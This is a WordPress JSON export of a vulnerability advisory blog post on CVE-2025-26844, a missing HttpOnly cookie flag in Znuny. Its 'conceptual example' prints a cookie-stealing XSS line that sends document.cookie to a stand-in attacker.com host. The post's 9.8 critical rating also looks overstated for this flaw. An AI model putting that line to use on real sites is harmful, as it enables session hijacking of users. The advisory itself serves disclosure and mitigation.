{"id":38199,"date":"2025-05-14T19:51:53","date_gmt":"2025-05-14T19:51:53","guid":{"rendered":""},"modified":"2025-08-30T04:38:59","modified_gmt":"2025-08-30T10:38:59","slug":"cve-2025-26844-critical-cookie-handling-vulnerability-in-znuny","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-26844-critical-cookie-handling-vulnerability-in-znuny\/","title":{"rendered":"<strong>CVE-2025-26844: Critical Cookie Handling Vulnerability in Znuny<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The Common Vulnerabilities and Exposures (CVE) system recently added a new entry, CVE-2025-26844, a critical vulnerability discovered in Znuny up to version 7.1.3. This issue is related to the improper handling of cookies, specifically, the application sets a cookie without the crucial HttpOnly flag. Given the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-38623-severe-integer-overflow-vulnerabilities-in-gtkwave-3-3-115\/\"  data-wpil-monitor-id=\"43242\">severity of the vulnerability<\/a>, which has been assigned a CVSS score of 9.8, it is imperative for all organizations using affected versions of Znuny to understand and mitigate the risks involved. This vulnerability could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4050-heap-corruption-in-google-chrome-devtools-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"43068\">potentially lead to system<\/a> compromise or data leakage if exploited by malicious actors.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-26844<br \/>\nSeverity: Critical (9.8 CVSS)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-49126-critical-vulnerability-in-solid-edge-se2023-allows-for-potential-system-compromise\/\"  data-wpil-monitor-id=\"43427\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-95576569\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Znuny | Up to 7.1.3<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-26847-unmasked-passwords-vulnerability-in-znuny-support-bundle-generation\/\"  data-wpil-monitor-id=\"45848\">vulnerability arises from the failure of Znuny<\/a> to set the HttpOnly flag for a cookie. This flag restricts access to the cookie from client-side scripts, thus preventing <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47777-critical-stored-cross-site-scripting-vulnerability-in-5ire-ai-assistant\/\"  data-wpil-monitor-id=\"49248\">cross-site scripting<\/a> (XSS) attacks. When the HttpOnly flag is not set, an attacker can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4372-webaudio-heap-corruption-in-google-chrome-a-potential-gateway-to-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"45849\">potentially use client-side script to read the cookie&#8217;s data<\/a>, which could contain sensitive information. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-33054-insufficient-ui-warning-in-remote-desktop-client-opens-door-to-spoofing-attacks\/\"  data-wpil-monitor-id=\"68088\">opens the door<\/a> for various attacks, including session hijacking and identity theft.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3502524547\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>An attacker might <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-37446-arbitrary-code-execution-vulnerability-in-gtkwave-3-3-115\/\"  data-wpil-monitor-id=\"42958\">execute a script like the following to exploit this vulnerability<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">&lt;script&gt;\ndocument.write(&#039;&lt;img src=&quot;http:\/\/attacker.com\/steal.php?cookie=&#039; + document.cookie + &#039;&quot; \/&gt;&#039;);\n&lt;\/script&gt;<\/code><\/pre>\n<p>In this conceptual example, the attacker&#8217;s script sends the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46827-graylog-open-log-management-platform-user-session-cookie-exposure\/\"  data-wpil-monitor-id=\"47627\">user&#8217;s cookies<\/a> to the attacker&#8217;s server. This is possible because the HttpOnly flag is not set, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-7032-security-flaw-allowing-privilege-escalation-through-untrusted-data-deserialization\/\"  data-wpil-monitor-id=\"47545\">allowing the document.cookie JavaScript property to access the cookie&#8217;s data<\/a>.<br \/>\nPlease note that this is a conceptual example and is intended to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49526-out-of-bounds-write-vulnerability-in-illustrator-leading-to-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"75226\">illustrate how the vulnerability<\/a> could be exploited. Actual attacks may be more complex and varied in nature.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>To mitigate this vulnerability, users are advised to apply the vendor patch as soon as possible. Until the patch can be applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to detect and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-38657-out-of-bounds-write-vulnerability-in-gtkwave-lxt2-zlib-block-decompression\/\"  data-wpil-monitor-id=\"43153\">block attempts to exploit this vulnerability<\/a>. Furthermore, ensure to follow the principle of least privilege, and monitor your systems for any unusual activity.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The Common Vulnerabilities and Exposures (CVE) system recently added a new entry, CVE-2025-26844, a critical vulnerability discovered in Znuny up to version 7.1.3. This issue is related to the improper handling of cookies, specifically, the application sets a cookie without the crucial HttpOnly flag. Given the severity of the vulnerability, which has been assigned [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[81],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-38199","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-xss"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/38199","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=38199"}],"version-history":[{"count":11,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/38199\/revisions"}],"predecessor-version":[{"id":67816,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/38199\/revisions\/67816"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=38199"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=38199"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=38199"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=38199"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=38199"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=38199"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=38199"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=38199"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=38199"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}